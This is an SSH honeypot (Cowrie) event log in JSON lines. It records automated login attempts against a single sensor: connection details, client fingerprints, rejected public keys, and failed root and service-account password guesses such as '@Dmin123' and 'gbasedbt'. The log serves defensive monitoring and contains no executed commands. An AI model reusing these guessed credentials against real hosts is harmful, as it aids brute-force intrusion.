{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:b3:d1:ec:14:62:11:40:c0:70:74:f3:6c:10:fc:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQWzoX6bevN9kMRh7TXLnUbi3Ebiz/W3Ju59oDTLrvMd8f8b2ebvzG0UbpbwxVN+J84foYnllzYDWYiD1eO4D+QULkybedd/3P2oeC78B11u8GqJbkccC1afP9T5mrS9RD6UWt/VQCUZWHO123OjMI4Yp/rL3CMIQHJUYblzbrJbMcPFdptEDLI/cVWYv0jx0VPvOWYq5C13lINIxjRwAbM8ETVfM0lRfaGN1nAfZKjNH4Fc8f6D8a12zBPXWwPcNUm7QwiI4oIVpMK4cPGUgFm9ZiLqz58T9hcwQLMj4LNO1o1QLjo1Oqq2QOKZtC077ibnon6F6VzOGkTS8+P1LX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.730835Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:8e:9f:c0:94:5f:71:7a:07:86:50:0c:15:c5:d0:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArTD4WzsIsQ8/dK1YjFGH7zTjzJyniEqNsAb4lOPrsCLUjzSysSJTQX0vaWFzwnZopZWihN5uUpyLdaWsL94/qSK5m2GckldbW5ISEOouOSXw1XpSHfO4CKhqvHTqBJf92CaGGEvn5xcnk5ypUwyd6JFjxqkrR1V5ajMA/qtfCnAqwuZagIdslEsMc8HqcZHVZZzoZtXt8yO3+OLx355ZgoNjRiYxKurxdLATNlIXTmF1/6HDeogKkcSdThbSGsBytXqukWn4Vo9PDlJ/u4tDqGS79HELH4vXZ9lyy/Q7ZLn9tDyDrDRXpE8Cs1bbjUm+r+mQe71B9YtMVfD6aaf4Jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:8e:9f:c0:94:5f:71:7a:07:86:50:0c:15:c5:d0:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.854723Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:8e:9f:c0:94:5f:71:7a:07:86:50:0c:15:c5:d0:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArTD4WzsIsQ8/dK1YjFGH7zTjzJyniEqNsAb4lOPrsCLUjzSysSJTQX0vaWFzwnZopZWihN5uUpyLdaWsL94/qSK5m2GckldbW5ISEOouOSXw1XpSHfO4CKhqvHTqBJf92CaGGEvn5xcnk5ypUwyd6JFjxqkrR1V5ajMA/qtfCnAqwuZagIdslEsMc8HqcZHVZZzoZtXt8yO3+OLx355ZgoNjRiYxKurxdLATNlIXTmF1/6HDeogKkcSdThbSGsBytXqukWn4Vo9PDlJ/u4tDqGS79HELH4vXZ9lyy/Q7ZLn9tDyDrDRXpE8Cs1bbjUm+r+mQe71B9YtMVfD6aaf4Jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.859649Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:6f:4c:59:66:e5:4c:91:34:a6:ea:0a:7b:e9:6d:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+T8OgvlW5xBVHEnKEKEoLUB0slKAyOdkFeimNEeJMvfhViVMfPNfuRkcA9Nuwv6Y6G0CwU6vsumT8yQ5gj26zZFRm4oiVU4VWNZamlnHwNq7BBWIh1jL0P7915RRli7cYD6xx9OYrtqhPXoW08mp7EAsVl7Omit0CmPj13fRXZmTrkt11PSC7+u6RyKcRX1j/EkOkXyN7cF33COvPIQd2FktJjpvSQ7P4CkrN2+dfu5JuwlzzcLZdxofwECfoNy+biIYWJddI7oZxXWgjb+07v2iiQE7H4qeo8upeCNshDCL+RMg+YPN2g4dTxcG0SG8Ne4Ocee1/dd3m4IS7DOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:6f:4c:59:66:e5:4c:91:34:a6:ea:0a:7b:e9:6d:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.985813Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:6f:4c:59:66:e5:4c:91:34:a6:ea:0a:7b:e9:6d:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+T8OgvlW5xBVHEnKEKEoLUB0slKAyOdkFeimNEeJMvfhViVMfPNfuRkcA9Nuwv6Y6G0CwU6vsumT8yQ5gj26zZFRm4oiVU4VWNZamlnHwNq7BBWIh1jL0P7915RRli7cYD6xx9OYrtqhPXoW08mp7EAsVl7Omit0CmPj13fRXZmTrkt11PSC7+u6RyKcRX1j/EkOkXyN7cF33COvPIQd2FktJjpvSQ7P4CkrN2+dfu5JuwlzzcLZdxofwECfoNy+biIYWJddI7oZxXWgjb+07v2iiQE7H4qeo8upeCNshDCL+RMg+YPN2g4dTxcG0SG8Ne4Ocee1/dd3m4IS7DOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:01.997981Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:fe:f2:ee:bd:60:47:7c:58:af:03:92:7b:14:ef:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD2jjUHzyF18tUOcePt6yENAwU4qt3/ALtjAclg54FsPDmjsa9lRjgYQsY1Nb8NBk4hMWpz1IuvQZg9iPGBIS/x9Y6RvD4xUSF9QzoYS657M9xxG4o00PFT/WzRAyoWz9FEpN83KsSfHr18wcmi/gKUt7ZM4PnjC/u+GriTGz7LmQQVC7LASsUKZxeV2mql5Plx1f9csxYAbIF7f5sXznBL8SgCooN0W6Ig97ShPApkrn4v9sbI5kq1fPLPg1CbdpWiw1mmt1DTlwqqpcDfxT90OH+wOdh380ickb++VEz+UKiNgFQGG0pLEkDVr5hyOCaHeGRIxuxTp94d1qv//TDWS8L+RFI/l/I2NH5Q2CcmvnlGc4Qs/bkzol96qZX6Iw6aWDI7Fe7DsWClq5F9EGcFbqyNxNutYbceom1BSNODw2lWhvofdjcW3ZvXvvocq1rDawXn1QtLo0RwFQK8RdoCnVd3ke+vYSHXipRR90hi38KBlTYJzvFxxr1R5ONVLEJTY9NTOSt2Ss9IwgbWPzvA9gRCBC7Sx+uHx1vx+qud0/vfAsOJaDuNB5iTcBBWvVg/X3TLJhKOY43o3KW1IwuyZaqrT2PshZRPF+Sd5VMO92wsGT/j2sAx7ehEbwotM46yVut11EdQzE8wVE+TOw258xc6CXDzE/i1Vva7ufRKzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:fe:f2:ee:bd:60:47:7c:58:af:03:92:7b:14:ef:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:02.124122Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:fe:f2:ee:bd:60:47:7c:58:af:03:92:7b:14:ef:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD2jjUHzyF18tUOcePt6yENAwU4qt3/ALtjAclg54FsPDmjsa9lRjgYQsY1Nb8NBk4hMWpz1IuvQZg9iPGBIS/x9Y6RvD4xUSF9QzoYS657M9xxG4o00PFT/WzRAyoWz9FEpN83KsSfHr18wcmi/gKUt7ZM4PnjC/u+GriTGz7LmQQVC7LASsUKZxeV2mql5Plx1f9csxYAbIF7f5sXznBL8SgCooN0W6Ig97ShPApkrn4v9sbI5kq1fPLPg1CbdpWiw1mmt1DTlwqqpcDfxT90OH+wOdh380ickb++VEz+UKiNgFQGG0pLEkDVr5hyOCaHeGRIxuxTp94d1qv//TDWS8L+RFI/l/I2NH5Q2CcmvnlGc4Qs/bkzol96qZX6Iw6aWDI7Fe7DsWClq5F9EGcFbqyNxNutYbceom1BSNODw2lWhvofdjcW3ZvXvvocq1rDawXn1QtLo0RwFQK8RdoCnVd3ke+vYSHXipRR90hi38KBlTYJzvFxxr1R5ONVLEJTY9NTOSt2Ss9IwgbWPzvA9gRCBC7Sx+uHx1vx+qud0/vfAsOJaDuNB5iTcBBWvVg/X3TLJhKOY43o3KW1IwuyZaqrT2PshZRPF+Sd5VMO92wsGT/j2sAx7ehEbwotM46yVut11EdQzE8wVE+TOw258xc6CXDzE/i1Vva7ufRKzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:02.129018Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:02.252349Z","src_ip":"89.45.12.16","session":"3b4672f14d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55976,"dst_ip":"159.203.135.109","dst_port":22,"session":"3572d1a3704c","protocol":"ssh","message":"New connection: 103.15.222.183:55976 (159.203.135.109:22) [session: 3572d1a3704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:08.574256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:08.578824Z","src_ip":"103.15.222.183","session":"3572d1a3704c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:08.821519Z","src_ip":"103.15.222.183","session":"3572d1a3704c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kbpjxrf","message":"login attempt [root/kbpjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:09.550336Z","src_ip":"103.15.222.183","session":"3572d1a3704c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:10.795432Z","src_ip":"103.15.222.183","session":"3572d1a3704c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f764b58d3ff","protocol":"ssh","message":"New connection: 190.129.122.185:37990 (159.203.135.109:22) [session: 8f764b58d3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:37.496311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:37.501289Z","src_ip":"190.129.122.185","session":"8f764b58d3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:37.664702Z","src_ip":"190.129.122.185","session":"8f764b58d3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin123","message":"login attempt [root/@Dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:38.352000Z","src_ip":"190.129.122.185","session":"8f764b58d3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:49:39.519086Z","src_ip":"190.129.122.185","session":"8f764b58d3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":52582,"dst_ip":"159.203.135.109","dst_port":22,"session":"8668bf94caa8","protocol":"ssh","message":"New connection: 203.161.39.233:52582 (159.203.135.109:22) [session: 8668bf94caa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:23.313956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:23.318643Z","src_ip":"203.161.39.233","session":"8668bf94caa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:23.388704Z","src_ip":"203.161.39.233","session":"8668bf94caa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbasedbt","password":"gbasedbt","message":"login attempt [gbasedbt/gbasedbt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:23.703549Z","src_ip":"203.161.39.233","session":"8668bf94caa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:24.776721Z","src_ip":"203.161.39.233","session":"8668bf94caa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":33368,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a464263bf3f","protocol":"ssh","message":"New connection: 103.27.238.116:33368 (159.203.135.109:22) [session: 9a464263bf3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.396619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.401858Z","src_ip":"103.27.238.116","session":"9a464263bf3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49598,"dst_ip":"159.203.135.109","dst_port":22,"session":"01796181b0c9","protocol":"ssh","message":"New connection: 103.27.238.120:49598 (159.203.135.109:22) [session: 01796181b0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.511234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.516414Z","src_ip":"103.27.238.120","session":"01796181b0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.678578Z","src_ip":"103.27.238.116","session":"9a464263bf3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:35.782273Z","src_ip":"103.27.238.120","session":"01796181b0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100688","message":"login attempt [root/100688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:36.547887Z","src_ip":"103.27.238.116","session":"9a464263bf3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"190190","message":"login attempt [root/190190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:36.600389Z","src_ip":"103.27.238.120","session":"01796181b0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:37.828508Z","src_ip":"103.27.238.116","session":"9a464263bf3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:50:37.868643Z","src_ip":"103.27.238.120","session":"01796181b0c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":50772,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ff77a6a632","protocol":"ssh","message":"New connection: 190.129.122.185:50772 (159.203.135.109:22) [session: 53ff77a6a632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:23.319641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:51:23.324825Z","src_ip":"190.129.122.185","session":"53ff77a6a632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"